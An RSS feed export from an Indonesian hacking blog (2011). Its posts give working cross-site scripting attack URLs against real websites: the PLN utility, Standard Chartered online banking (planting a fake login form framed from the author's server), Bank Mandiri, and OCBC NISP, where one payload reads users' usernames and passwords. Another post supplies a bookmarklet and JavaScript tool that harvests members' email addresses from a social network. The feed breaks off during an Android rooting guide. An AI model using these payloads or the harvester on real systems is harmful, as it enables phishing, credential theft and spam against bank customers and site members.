<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking and Computer Security Resources &#124; SPYROZONE.NET</title>
	<atom:link href="http://www.spyrozone.net/hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://www.spyrozone.net/hacking</link>
	<description>Hacking tools, artikel, tutorial, video, panduan untuk pemula, serta informasi tentang hacking dan sistem keamanan komputer.</description>
	<lastBuildDate>Fri, 03 Feb 2012 23:52:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>PT. PLN (Persero) Website Vulnerable to Cross Site Scripting</title>
		<link>http://www.spyrozone.net/hacking/2011/11/pt-pln-persero-website-vulnerable-to-cross-site-scripting.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/11/pt-pln-persero-website-vulnerable-to-cross-site-scripting.jsp#comments</comments>
		<pubDate>Wed, 16 Nov 2011 18:01:19 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Phisher]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[PT.PLN Persero]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=3025</guid>
		<description><![CDATA[POC: http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan=%22%20style=%22display:none%22%3E%3C/iframe%3E%3Cp%20align=%22center%22%3E%3Ca%20href=%22http://www.spyrozone.net%22%20target=%22_blank%22%3E%3Cimg%20src=%22http://www.spyrozone.net/playground/xssedbyspyrozone.net.png%22%20border=%220%22%3E%3C/a%3E%3C/p%3E%3Ciframe%20style=%22display:none%22%3E]]></description>
			<content:encoded><![CDATA[<div id="attachment_3110" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-3110" title="PT. PLN (Persero) Website XSSED by SPYRO-KiD" src="http://www.spyrozone.net/hacking/storage/2011/11/PT.-PLN-Persero-Website-XSSED-by-SPYRO-KiD.jpg" alt="{image: PT. PLN (Persero) Website XSSED by SPYRO-KiD}" width="500" height="241" /><p class="wp-caption-text">PT. PLN (Persero) Website XSSED by SPYRO-KiD</p></div>
<p><span id="more-3025"></span></p>
<h3><strong>POC:</strong></h3>
<pre class="brush:html">http://www.pln.co.id/kontak-kami/telusur.php?nokeluhan=%22%20style=%22display:none%22%3E%3C/iframe%3E%3Cp%20align=%22center%22%3E%3Ca%20href=%22http://www.spyrozone.net%22%20target=%22_blank%22%3E%3Cimg%20src=%22http://www.spyrozone.net/playground/xssedbyspyrozone.net.png%22%20border=%220%22%3E%3C/a%3E%3C/p%3E%3Ciframe%20style=%22display:none%22%3E</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/11/pt-pln-persero-website-vulnerable-to-cross-site-scripting.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Menanam Form Login Palsu Pada Web Standard Chartered Online Banking</title>
		<link>http://www.spyrozone.net/hacking/2011/10/menanam-form-login-palsu-pada-web-standard-chartered-online-banking.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/10/menanam-form-login-palsu-pada-web-standard-chartered-online-banking.jsp#comments</comments>
		<pubDate>Tue, 04 Oct 2011 02:44:49 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Bank Standard Chartered]]></category>
		<category><![CDATA[Hacking Bank]]></category>
		<category><![CDATA[Phisher]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2664</guid>
		<description><![CDATA[Lagi-lagi Bank Standard Chartered memiliki celah XSS yang cukup serius. Celah ini memungkinkan phisher untuk membuat form login palsu pada area Online Banking. Sama dengan celah-celah XSS pada umumnya, tidak ada kerusakan yang akan ditimbulkan pada sisi Standard Chartered. Hanya saja, apabila celah ini dibiarkan, tinggal menunggu waktu ada orang jahat yang memanfaatkan celah ini untuk [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Lagi-lagi Bank Standard Chartered memiliki celah XSS yang cukup serius. Celah ini memungkinkan phisher untuk membuat form login palsu pada area Online Banking. Sama dengan celah-celah XSS pada umumnya, tidak ada kerusakan yang akan ditimbulkan pada sisi Standard Chartered. Hanya saja, apabila celah ini dibiarkan, tinggal menunggu waktu ada orang jahat yang memanfaatkan celah ini untuk melakukan aksi penipuan dengan berbekal penyingkat URL, jejaring sosial, email, atau instant messenger.</p>
<p style="text-align: justify;"><span id="more-2664"></span></p>
<h3 style="text-align: justify;">Contoh Hasil Form Login Palsu</h3>
<div id="attachment_3117" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-3117" title="Standard Chatered Online Banking XSSED by SPYRO KiD" src="http://www.spyrozone.net/hacking/storage/2011/10/Standard-Chatered-Online-Banking-XSSED-by-SPYRO-KiD.jpg" alt="{image: Standard Chatered Online Banking XSSED by SPYRO KiD}" width="500" height="484" /><p class="wp-caption-text">Standard Chatered Online Banking XSSED by SPYRO KiD</p></div>
<h3 style="text-align: justify;">POC</h3>
<pre class="brush:html" style="text-align: justify;">https://id.online.standardchartered.com/Init/IBank?ser=100&amp;act=MainFrame_ID.jsp&amp;ccode=ID.jsp%22%20name=%22logoFrame%22%20scrolling=%22no%22%20noresize=%22noresize%22%20id=%22logoFrame%22%20title=%22Logo%20Frame%22%20marginheight=%220%22%20marginwidth=%220%22%20frameborder=%220%22%3E%3Cframe%20src=%27/scb/newGUI/blank.html%27%20NAME=loginDateFrame%20scrolling=%22no%22%20noresize=%22noresize%22%20id=%22loginDateFrame%22%20title=%22Date%20Frame%22%20marginheight=%220%22%20marginwidth=%220%22%20frameborder=%220%22%3E%3Cframe%20src=%27http://www.spyrozone.net/playground/StandardChartered/CenterContent.html%27%20NAME=%22CenterContent%22%20scrolling=%22no%22%20noresize=%22noresize%22%20style=%22overflow-x:hidden;%22%20id=%22CenterContent%22%20title=%22Date%20Frame%22%20marginheight=%220%22%20marginwidth=%220%22%20frameborder=%220%22%20%3E%3Cnoscript%3E</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/10/menanam-form-login-palsu-pada-web-standard-chartered-online-banking.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bank Mandiri Vulnerable to XSS</title>
		<link>http://www.spyrozone.net/hacking/2011/09/bank-mandiri-vulnerable-to-xss.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/09/bank-mandiri-vulnerable-to-xss.jsp#comments</comments>
		<pubDate>Wed, 28 Sep 2011 04:37:03 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Bank Mandiri]]></category>
		<category><![CDATA[Hacking Bank]]></category>
		<category><![CDATA[Phisher]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2613</guid>
		<description><![CDATA[Website Bank Mandiri memiliki celah Cross Site Scripting (XSS) yang memungkinkan phisher untuk menampilkan halaman dan informasi palsu. Celah ini hampir sama dengan celah XSS pada Bank NISP pada posting sebelumnya dimana phisher bisa menuliskan tag html sesuka hati untuk mempercantik hasil XSS agar tampil meyakinkan. POC: [Klik Disini] Hasil:]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Website Bank Mandiri memiliki celah Cross Site Scripting (XSS) yang memungkinkan phisher untuk menampilkan halaman dan informasi palsu. Celah ini hampir sama dengan celah XSS pada Bank NISP pada posting sebelumnya dimana phisher bisa menuliskan tag html sesuka hati untuk mempercantik hasil XSS agar tampil meyakinkan.</p>
<p style="text-align: justify;"><span id="more-2613"></span></p>
<p style="text-align: justify;"><strong>POC:</strong></p>
<p style="text-align: center;"><strong>[<a title="XSS pada Website Bank Mandiri" href="http://www.bankmandiri.co.id/resource/maps.asp?point=artikel/peluang-karir-bank-mandiri/recruitment/front-liner-and-secretary/2011/lang/id/session-id/UAC892UY1D7K6E2W40U3FLS766DF39257G98817YFDFTFSDRSWA040X8G5SES7756%22%3E%3Ctitle%3EMandiri%20-%20Career%3C/title%3E%3Cbody%3E%3Cdiv%20align=%22center%22%20style=%22margin:-10px%200%200%200%22%3E%3Ciframe%20src=%22http://www.spyrozone.net/playground/xss/mandiri-karir-spyrozone-dot-net.html%22%20width=%22950%22%20height=%221300%22%20scrolling=%22no%22%20border=%220%22%20frameborder=%220%22%3E%3C/iframe%3E%3C/div%3E%3Cnoscript%3E">Klik Disini</a>]</strong></p>
<p style="text-align: justify;"><strong>Hasil:</strong></p>
<div id="attachment_2618" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2618" title="Bank Mandiri XSSED by SPYRO KiD" src="http://www.spyrozone.net/hacking/storage/2011/09/Bank-Mandiri-XSSED-by-SPYRO-KiD.jpg" alt="{image: Bank Mandiri XSSED by SPYRO KiD}" width="500" height="310" /><p class="wp-caption-text">Bank Mandiri XSSED by SPYRO KiD</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/09/bank-mandiri-vulnerable-to-xss.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Two Critical XSS Vulnerability on OCBC NISP Bank Website</title>
		<link>http://www.spyrozone.net/hacking/2011/09/two-critical-xss-vulnerability-on-ocbc-nisp-bank-website.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/09/two-critical-xss-vulnerability-on-ocbc-nisp-bank-website.jsp#comments</comments>
		<pubDate>Thu, 22 Sep 2011 01:06:53 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Bank]]></category>
		<category><![CDATA[Hacking Bank]]></category>
		<category><![CDATA[OCBC NISP]]></category>
		<category><![CDATA[Phisher]]></category>
		<category><![CDATA[Phishing]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2530</guid>
		<description><![CDATA[Tidak bisa dipungkiri lagi dan telah berulang kali terbukti bahwa Website Bank yang memiliki celah XSS sangat rawan untuk menjadi target penipuan. Senin pagi kemarin saya mendapati 2 celah XSS pada portal Bank OCBC NISP, yaitu pada website utama dan pada aplikasi e-Tax OCBC NISP. XSS Pada OCBCNISP-DOT-COM POC: Search Engine: http://www.ocbcnisp.com/?opt=search&#38;search=%22%3E%3C/head%3E%3Cbody%3E%3Ccenter%3E%3Ca%20href=%22http://www.spyrozone.net/%22%3E%3Cimg%20border=%220%22%20src=%22http://www.spyrozone.net/playground/xssedbyspyrozone.net.png%22%3E%3C/a%3E%3Cbr%3E%3Ciframe%20width=800%20height=600%20src=http://www.spyrozone.net%3E%3C/iframe%3E%3C/center%3E%3C/body%3E%3Cnoscript%3E&#38;x=0&#38;y=0&#38;lang=1 Pencarian ATM: http://www.ocbcnisp.com/?opt=atm&#38;cty=%22%3E%3C/head%3E%3Cbody%3E%3Ccenter%3E%3Ca%20href=%22http://www.spyrozone.net/%22%3E%3Cimg%20border=%220%22%20src=%22http://www.spyrozone.net/playground/xssedbyspyrozone.net.png%22%3E%3C/a%3E%3Cbr%3E%3Ciframe%20width=800%20height=600%20src=http://www.spyrozone.net%3E%3C/iframe%3E%3C/center%3E%3C/body%3E%3Cnoscript%3E&#38;lang=2 [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Tidak bisa dipungkiri lagi dan telah berulang kali terbukti bahwa Website Bank yang memiliki celah XSS sangat rawan untuk menjadi target penipuan. Senin pagi kemarin saya mendapati 2 celah XSS pada portal Bank OCBC NISP, yaitu pada website utama dan pada aplikasi e-Tax OCBC NISP.</p>
<p><span id="more-2530"></span></p>
<h3>XSS Pada OCBCNISP-DOT-COM</h3>
<h4 style="text-align: justify;"><strong>POC:</strong></h4>
<p style="text-align: justify;"><strong>Search Engine:</strong></p>
<pre class="brush:html" style="text-align: justify;">http://www.ocbcnisp.com/?opt=search&amp;search=%22%3E%3C/head%3E%3Cbody%3E%3Ccenter%3E%3Ca%20href=%22http://www.spyrozone.net/%22%3E%3Cimg%20border=%220%22%20src=%22http://www.spyrozone.net/playground/xssedbyspyrozone.net.png%22%3E%3C/a%3E%3Cbr%3E%3Ciframe%20width=800%20height=600%20src=http://www.spyrozone.net%3E%3C/iframe%3E%3C/center%3E%3C/body%3E%3Cnoscript%3E&amp;x=0&amp;y=0&amp;lang=1</pre>
<p><strong>Pencarian ATM:</strong></p>
<pre class="brush:html" style="text-align: justify;">http://www.ocbcnisp.com/?opt=atm&amp;cty=%22%3E%3C/head%3E%3Cbody%3E%3Ccenter%3E%3Ca%20href=%22http://www.spyrozone.net/%22%3E%3Cimg%20border=%220%22%20src=%22http://www.spyrozone.net/playground/xssedbyspyrozone.net.png%22%3E%3C/a%3E%3Cbr%3E%3Ciframe%20width=800%20height=600%20src=http://www.spyrozone.net%3E%3C/iframe%3E%3C/center%3E%3C/body%3E%3Cnoscript%3E&amp;lang=2</pre>
<h4><strong>Hasil:</strong></h4>
<div id="attachment_2537" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2537" title="Bank OCBC NISP Website Vulnerable to XSS" src="http://www.spyrozone.net/hacking/storage/2011/09/Bank-OCBC-NISP-Website-Vulnerable-to-XSS.jpg" alt="{image: Bank OCBC NISP Website Vulnerable to XSS}" width="500" height="384" /><p class="wp-caption-text">Bank OCBC NISP Website Vulnerable to XSS</p></div>
<h3>XSS Pada Aplikasi e-Tax</h3>
<p style="text-align: justify;"><strong>POC:</strong></p>
<pre class="brush:html" style="text-align: justify;">http://etax.ocbcnisp.com/module.asp?module=1&amp;amp;error=%3C/div%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20height=%2269%22%20colspan=%222%22%3E%3Cdiv%20align=%22center%22%3E%3Cinput%20name=%22Login%22%20type=%22button%22%20%20value=%22Login%22%20onClick=%22alert%28%27Info%20dari%20form%20Login%5Cn--------------------------------------------%5CnUsername:%20%27%2Bdocument.getElementsByName%28%27UserID%27%29[0].value%2B%27%5CnPassword:%20%27%2Bdocument.getElementsByName%28%27Password%27%29[0].value%2B%27%5CnOrganisation%20ID:%20%27%2Bdocument.getElementsByName%28%27orid%27%29[0].value%2B%27%5Cn%5CnInfo%20diatas%20telah%20terkirim%20ke%20server%20WWW.SPYROZONE.NET%27%29;%22%3E%3C/td%3E%3C/tr%3E%3C/table%3E%3C/form%3E%3C/div%3E%3Cnoscript%3E</pre>
<p style="text-align: justify;"><strong>Hasil:</strong></p>
<p style="text-align: justify;">Isikan username, password &amp; ID organisani, kemudian klik tombol [Login].</p>
<div id="attachment_2545" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2545" title="Celah XSS Pada Aplikasi e-tax OCBC NISP" src="http://www.spyrozone.net/hacking/storage/2011/09/XSS-Pada-Aplikasi-e-tax-OCBC-NISP.jpg" alt="{image: Celah XSS Pada Aplikasi e-Tax OCBC NISP}" width="500" height="491" /><p class="wp-caption-text">Celah XSS Pada Aplikasi e-tax OCBC NISP</p></div>
<p>Melalui XSS, saya mengganti tombol submit form menjadi tombol yang akan mengambil data pada form, lalu menampilkannya di layar.</p>
<div id="attachment_2547" class="wp-caption aligncenter" style="width: 398px"><img class="size-full wp-image-2547" title="Data korban dikirim ke server lain" src="http://www.spyrozone.net/hacking/storage/2011/09/Data-korban-dikirim-ke-server-lain.jpg" alt="{image: Data korban dikirim ke server lain}" width="388" height="358" /><p class="wp-caption-text">Data korban dikirim ke server lain</p></div>
<p style="text-align: justify;">Phisher bisa mengganti fungsi saya menjadi fungsi untuk mengirimkan data-data tersebut ke servernya untuk menampung username dan password korban.</p>
<h3 style="text-align: justify;">UPDATE &#8211; 28 September 2011</h3>
<p>Admin telah melakukan patch dengan mendeteksi adanya string &#8220;http://&#8221; pada parameter yang dilempar melalui URL. Namun, Attacker tetap bisa menampilkan informasi palsu pada kedua halaman diatas.</p>
<p><strong>POC:</strong></p>
<pre class="brush:html">http://www.ocbcnisp.com/?opt=search&amp;search=%22%3E%3CH1%3EXSSED%20by%20SPYRO%20KiD%3Cbr%3EWWW.SPYROZONE.NET%3C/H1%3E%3Cnoscript%3E&amp;x=0&amp;y=0&amp;lang=1</pre>
<p><strong>Hasil:</strong></p>
<div id="attachment_2610" class="wp-caption aligncenter" style="width: 441px"><img class="size-full wp-image-2610" title="ocbcnisp.com Xssed by SPYRO KiD" src="http://www.spyrozone.net/hacking/storage/2011/09/ocbcnisp.com-Xssed-by-SPYRO-KiD.jpg" alt="{image: ocbcnisp.com Xssed by SPYRO KiD}" width="431" height="158" /><p class="wp-caption-text">ocbcnisp.com Xssed by SPYRO KiD</p></div>
<p><strong>POC:</strong></p>
<pre class="brush:html">http://etax.ocbcnisp.com/module.asp?module=1&amp;error=%3CH1%3EXSSED%20by%20SPYRO%20KiD%3Cbr%3EWWW.SPYROZONE.NET%3C/H1%3E%3Cnoscript%3E</pre>
<p><strong>Hasil:</strong></p>
<div id="attachment_2611" class="wp-caption aligncenter" style="width: 465px"><img class="size-full wp-image-2611" title="e-tax OCBC NISP Xssed by SPYRO KiD" src="http://www.spyrozone.net/hacking/storage/2011/09/e-tax-OCBC-NISP-Xssed-by-SPYRO-KiD.jpg" alt="{image: e-tax OCBC NISP Xssed by SPYRO KiD}" width="455" height="500" /><p class="wp-caption-text">e-tax OCBC NISP Xssed by SPYRO KiD</p></div>
<h3 style="text-align: justify;">Penutup</h3>
<p style="text-align: justify;">Sekian, semoga bermanfaat <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/09/two-critical-xss-vulnerability-on-ocbc-nisp-bank-website.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Memanen Ratusan Email Secara Otomatis Dari Devilzc0de Social Network</title>
		<link>http://www.spyrozone.net/hacking/2011/09/memanen-ratusan-email-secara-otomatis-dari-devilzc0de-social-network.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/09/memanen-ratusan-email-secara-otomatis-dari-devilzc0de-social-network.jsp#comments</comments>
		<pubDate>Sun, 18 Sep 2011 06:18:10 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Devilzc0de]]></category>
		<category><![CDATA[Hidden Field]]></category>
		<category><![CDATA[Spammer]]></category>
		<category><![CDATA[spyrozone DC Email Grabber]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2418</guid>
		<description><![CDATA[Devilzc0de-dot-org merupakan salah satu jejaring sosial lokal. Karena penasaran dengan fitur-fitur yang dimiliki, saya mendaftarkan diri pada website tersebut dengan email palsu. Setelah login dan digiring ke halaman utama, saya melihat source HTML halaman tersebut dan mendapati email-email user tersimpan pada hidden field. Tentunya, celah yang disengaja ini memungkinkan spammer membuat tool otomatis untuk memanen [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Devilzc0de-dot-org merupakan salah satu jejaring sosial lokal. Karena penasaran dengan fitur-fitur yang dimiliki, saya mendaftarkan diri pada website tersebut dengan email palsu. Setelah login dan digiring ke halaman utama, saya melihat source HTML halaman tersebut dan mendapati email-email user tersimpan pada hidden field. Tentunya, celah yang disengaja ini memungkinkan spammer membuat tool otomatis untuk memanen alamat email.</p>
<p style="text-align: justify;"><span id="more-2418"></span>Dari forum mereka, saya mendapat informasi bahwa ternyata celah ini sudah lama dilaporkan dan sudah diketahui admin. Pada artikel ini saya akan berbagi script sederhana untuk mengumpulkan ratusan email secara otomatis (sebenarnya tergantung banyaknya member &amp; besarnya memory Anda sich ^^) dengan memanfaatkan celah tersebut. Tidak ada kerusakan apapun yang akan ditimbulkan dari sisi web Devilzc0de. Namun dari sisi member, tentu akan sangat menyebalkan jika email kita dijual oleh spammer yang berujung pada meningkatnya jumlah spam yang mengotori inbox Anda T_T</p>
<h3 style="text-align: justify;">Hidden Field</h3>
<p style="text-align: justify;">Berikut ini adalah contoh potongan source code dari halaman home Devilzc0de (<a href="http://www.devilzc0de.org/home.dc" rel="nofollow">http://www.devilzc0de.org/home.dc</a>):</p>
<pre class="brush:html">......
&lt;input type="hidden" id="get_emailmember123456" value="contoh_email_member@palsu.com" style="visibility:hidden;"/&gt;
......
&lt;input type="hidden" id="get_emailmember654321" value="contoh_email_user@palsu.com" style="visibility:hidden;"/&gt;
......</pre>
<p style="text-align: justify;">Seperti yang Anda lihat, email member disembunyikan di dalam hidden field dengan ID yang digenerate secara dinamis berdasarkan ID member. Jika Anda memiliki account di Devilzc0de Social Network, cobalah login dengan akun Anda. Begitu Anda berada di halaman home, salin code berikut ini:</p>
<pre class="brush:javascript">javascript:var email="";var strMail="";var mailAr=document.getElementsByTagName('body')[0].innerHTML.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi).sort();if(mailAr){for(var i=0;i&lt;mailAr.length; i++){if( strMail != (strMail=mailAr[i]))email += strMail+"&lt;br&gt;";}}</pre>
<p style="text-align: justify;">Script diatas akan membaca isi body halaman home, mencari string yang memiliki format alamat email, menyimpannya dalam array, menghapus data ganda lalu menampilkannya pada browser.</p>
<p style="text-align: justify;">Paste code diatas pada Address Bar Browser Mozilla Firefox Anda, lalu tekan Enter. Anda akan dibawa ke sebuah halaman dengan beberapa alamat email:</p>
<div id="attachment_2478" class="wp-caption aligncenter" style="width: 288px"><img class="size-full wp-image-2478" title="Grabbed Mail" src="http://www.spyrozone.net/hacking/storage/2011/09/Grabbed-Mail.jpg" alt="{image: Grabbed Mail}" width="278" height="419" /><p class="wp-caption-text">Hasil Parsing</p></div>
<p style="text-align: justify;">Email-email tersebut adalah kumpulan email user yang statusnya sedang terlihat di halaman home. Klik tombol <strong>[Back]</strong> browser Anda untuk kembali ke halaman home.</p>
<h3>Mengumpulkan Ratusan Email Dengan Tool Otomatis</h3>
<p style="text-align: justify;">Tool Otomatis?? Ah.. itu cuma biar terdengar lebih menarik ajah ^^</p>
<p style="text-align: justify;">Saya membuat sebuah script sederhana untuk mengumpulkan email-email user Devilzc0de yang pernah melakukan posting status. Pergilah ke halaman Home Devilzc0de, kemudian Copy-Paste code berikut pada Address Bar browser Anda:</p>
<pre class="brush:javascript" style="text-align: justify;">javascript:if(document.getElementById("dcMailGrabber")==undefined){var spyroJs = document.createElement('script'); spyroJs.setAttribute("type","text/javascript"); spyroJs.setAttribute("src","http://www.spyrozone.net/playground/devilzc0de/devilzc0de-mail-grabber.js"); document.getElementsByTagName("head")[0].appendChild(spyroJs); document.getElementById("dc_middle_left").style.height = "500px"; document.getElementById("dc_headwall").style.visibility = "hidden"; document.getElementById("dc_bottom").style.visibility = "hidden"; document.getElementById("dc_texarea_wall").innerHTML = "&lt;div id=\"dcMailGrabber\" align=\"center\"&gt;&lt;img src=\"http://www.spyrozone.net/playground/devilzc0de/dcmailgrabber.png\"&gt;&lt;br&gt;&lt;input type=\"button\" id=\"scanButton\" value=\"Start Scanning\" onclick=\"startScanning(); \"&gt;&lt;/div&gt;&lt;div id=\"spyroLoading\" align=\"center\"&gt;&lt;/div&gt;&lt;br&gt;&lt;div id=\"scanResult\" align=\"left\" style=\"margin-left:30px\"&gt;&lt;/div&gt;"; alert("Klik tombol [Start Scanning] untuk memulai proses Scan.\n\n--SPYRO KiD");}</pre>
<p style="text-align: justify;">Area untuk menulis status baru pada wall akan berubah menjadi demikian:</p>
<div id="attachment_2520" class="wp-caption aligncenter" style="width: 510px"><img class="size-full wp-image-2520" title="Tampilan spyrozone DC Email Grabber pada area penulisan status baru" src="http://www.spyrozone.net/hacking/storage/2011/09/Tampilan-spyrozone-DC-Email-Grabber1.jpg" alt="{image: Tampilan spyrozone DC Email Grabber pada area penulisan status baru}" width="500" height="233" /><p class="wp-caption-text">Tampilan spyrozone DC Email Grabber pada area penulisan status baru</p></div>
<p style="text-align: justify;">Klik tombol<strong> [Start Scanning]</strong> untuk memulai pengumpulan email. Berikut adalah hasil scan yang saya dapat dalam waktu kurang dari 1 menit:</p>
<div id="attachment_2485" class="wp-caption aligncenter" style="width: 210px"><img class="size-full wp-image-2485" title="Hasil Scanning spyrozone DC Email Grabber" src="http://www.spyrozone.net/hacking/storage/2011/09/Hasil-Scanning-spyrozone-DC-Email-Grabber.jpg" alt="{image: Hasil Scanning spyrozone DC Email Grabber}" width="200" height="645" /><p class="wp-caption-text">Hasil Scanning spyrozone DC Email Grabber</p></div>
<h3 style="text-align: justify;">Source Code spyrozone DC Email Grabber</h3>
<pre class="brush:javascript" style="text-align: justify;">/*
spyrozone DC Email Grabber v1.0
------------------------------
Author    : SPYRO KiD
Mail      : root\at\spyrozone.net
Web       : http://www.spyrozone.net
------------------------------
Artikel:

http://www.spyrozone.net/hacking/2011/09/memanen-ratusan-email-secara-otomatis-dari-devilzc0de-social-network.jsp

------------------------------
*/
function startScanning(){
    var btnVal = document.getElementById("scanButton");
    if(btnVal.value == "Start Scanning"){
        document.getElementById("spyroLoading").innerHTML = "&lt;br&gt;&lt;img src=\"http://www.devilzc0de.org/images/loader/del_loader.gif\"&gt;&lt;blink&gt;&lt;b&gt;&lt;i&gt;Scanning...&lt;/i&gt;&lt;/b&gt;&lt;/blink&gt;";
        mailParser();
        intvRead = setInterval('mailParser()',7000);
        btnVal.value = "Stop Scanning";
    }else{
        clearInterval(intvRead);
        document.getElementById("spyroLoading").innerHTML = "";
        btnVal.value = "Start Scanning";
    }
}

function mailParser(){
    var email="";
    var strMail=""
    var mailAr=document.getElementsByTagName('body')[0].innerHTML.match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi).sort();
    if(mailAr){
    email="&lt;h1&gt;Grabbed Email:&lt;/h1&gt;&lt;hr&gt;&lt;ol&gt;";
    for(var i=0;i&lt;mailAr.length; i++){
            if( strMail != (strMail=mailAr[i]))
                email += "&lt;li&gt;"+strMail+"&lt;/li&gt;";
        }
    }
    email += "&lt;/ol&gt;";
    document.getElementById("scanResult").innerHTML = email;
    giveMeMore();
}

function giveMeMore(){
    var kuJiTag=new Array();
    var kuJiTag=document.getElementsByTagName("a");
    for(i=0;i&lt;kuJiTag.length;i++){
        if (kuJiTag[i].className=="more"){
            kuJiTag[i].click();
        }
    }
}</pre>
<h3 style="text-align: justify;">Penutup</h3>
<p style="text-align: justify;">Sekian, mudah-mudahan artikel ini bisa memberikan manfaat positif dan semakin meningkatkan kewaspadaan kita.</p>
<p style="text-align: justify;">Sampai jumpa pada artikel berikutnya.. <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.spyrozone.net/hacking/2011/09/memanen-ratusan-email-secara-otomatis-dari-devilzc0de-social-network.jsp/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to Root Samsung Galaxy Ace on Android 2.3.4/2.3.3 Gingerbread</title>
		<link>http://www.spyrozone.net/hacking/2011/08/how-to-root-samsung-galaxy-ace-on-android-2-3-42-3-3-gingerbread.jsp</link>
		<comments>http://www.spyrozone.net/hacking/2011/08/how-to-root-samsung-galaxy-ace-on-android-2-3-42-3-3-gingerbread.jsp#comments</comments>
		<pubDate>Wed, 31 Aug 2011 02:02:12 +0000</pubDate>
		<dc:creator>SPYRO KiD</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[Android 2.3.4]]></category>
		<category><![CDATA[Samsung Galaxy Ace]]></category>

		<guid isPermaLink="false">http://www.spyrozone.net/hacking/?p=2854</guid>
		<description><![CDATA[Artikel ini akan memandu Anda untuk membuka akses root Samsung Galaxy Ace dengan Android 2.3.3/2.3.4. Sebelum Anda memulai proses rooting, pastikan perangkat Anda sudah benar-benar berjalan dengan Android 2.3.3/2.3.4. Segala kerusakan pada perangkat Anda akibat kelalaian Anda sendiri tentunya bukan merupakan tanggung jawab kami Download “upd_1.zip”, kemudian simpan pada SD card Android Anda. Matikan Samsung [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Artikel ini akan memandu Anda untuk membuka akses root Samsung Galaxy Ace dengan Android 2.3.3/2.3.4. Sebelum Anda memulai proses rooting, pastikan perangkat Anda sudah benar-benar berjalan dengan Android 2.3.3/2.3.4. Segala kerusakan pada perangkat Anda akibat kelalaian Anda sendiri tentunya bukan merupakan tanggung jawab kami <img src='http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_razz.gif' alt=':-P' class='wp-smiley' /> </p>
<p style="text-align: justify;"><span id="more-2854"></span></p>
<ol>
<li>Download “<a title="Download upd_1.zip" href="http://spyrozone.org/public/upd_1.zip">upd_1.zip</a>”, kemudian simpan pada SD card Android Anda.</li>
<li>Matikan Samsung Galaxy Ace Anda.</li>
